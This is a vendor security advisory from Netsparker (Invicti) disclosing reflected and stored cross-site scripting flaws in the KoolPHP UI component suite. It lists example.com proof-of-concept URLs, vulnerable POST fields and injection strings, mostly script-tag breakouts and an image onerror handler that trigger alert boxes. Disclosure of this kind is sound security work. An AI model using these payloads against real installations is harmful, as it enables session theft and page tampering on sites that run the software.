Multiple XSS Vulnerabilities in KoolPHP
Information
Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in KoolPHP
Affected Software: KoolPHP
Affected Versions: 80 and possibly below
Vendor Homepage: http://www.koolphp.net/
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-040
Description
KoolPHP is a vendor of PHP User Interface (UI) components. We focus on building the featured rich yet easy-to-use components to help developers increase productivity and deliver highest quality applications within time and budget constraints.
Technical Details
Proof of Concept URLs for XSS in KoolPHP:
http://example.com/KoolPHPSuite/Examples/KoolTabs/Advances/PostBack_On_Selection/ (POST, fields: kts_selected)
'"--></style></scRipt><scRipt>alert(0x008D03)</scRipt>
http://example.com/KoolPHPSuite/Examples/KoolTreeView/Features/Tree_Context_Menu/subnode.php?level='"--></style></scRipt><scRipt>alert(0x009381)</scRipt>&__koolajax=1
http://example.com/KoolPHPSuite/Resources/senderr.php/"onload="alert(9)
http://example.com/KoolPHPSuite/Examples/KoolUploader/Appearance/Styles/ (POST, fields: style_select)
'"--></style></scRipt><scRipt>alert(0x009A07)</scRipt>
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/With_TreeView/index.php (POST, fields:kcb_selectedText)
</textarea><scRipt>alert(9)</scRipt>
http://example.com/KoolPHPSuite/Examples/KoolTreeView/Appearance/Styles/index.php (POST, fields: style_select)
'><iMg src=N onerror=alert(9)>
Permanent Cross-site Scripting
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/ (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt>
http://example.com/KoolPHPSuite/Install/index.php?step=1&err=true (POST, fields: dbhost)
<scRipt>alert(0x00A4EF)</scRipt>
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/index.php?id=%27 (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt>
Other URLs
http://example.com/KoolPHPSuite/Examples/KoolTabs/Features/Scrolling/index.php (POST, fields: scrolling )
http://example.com/KoolPHPSuite/Examples/KoolForm/Decoration/First_Look/ (POST, fields: selectStyle )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/With_TreeView/ (POST, fields: kcb_selectedText)
http://example.com/KoolPHPSuite/Examples/KoolImageView/Features/Effects/index.php (POST, fields: effect_select)
http://example.com/KoolPHPSuite/Examples/KoolCalendar/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/TimePicker/TimePicker_FirstLook/index.php (POST, fields: timepicker )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Appearance/Styles/index.php (POST, fields: style_select)
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DatePicker/DateFormat/index.php (POST, fields: datetimepicker )
http://example.com/KoolPHPSuite/Examples/KoolTabs/Appearance/Styles/ (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DateTimePicker/DateTimePicker_FirstLook/index.php (POST, fields: datetimepicker )
http://example.com/KoolPHPSuite/Examples/KoolTabs/Features/Alignment/index.php (POST, fields: alignmentSelect )
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/First_Look/index.php (POST, fields: country1 )
http://example.com/KoolPHPSuite/Examples/KoolSlideMenu/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolMenu/Features/Effect/ (POST, fields: effect_select )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Features/Basic_ComboBox/index.php (POST, fields: kcb_selectedText )
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/index.php (POST, fields: comment_name )
http://example.com/KoolPHPSuite/Examples/KoolTreeView/Appearance/Styles/ (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DatePicker/DatePicker_FirstLook/index.php (POST, fields: datepicker )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/AutoPostback/index.php (POST, fields: kcb_selectedText)
http://example.com/KoolPHPSuite/Examples/KoolImageView/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolListBox/Appearance/Styles/index.php (POST, fields: selectStyle )
http://example.com/KoolPHPSuite/Examples/KoolMenu/Appearance/Styles/index.php (POST, fields: style_select )
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
Advisory Timeline
227/06/2014 – First Contact
07/07/2014 – Second Contact
09/12/2014 – Advisory Released
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.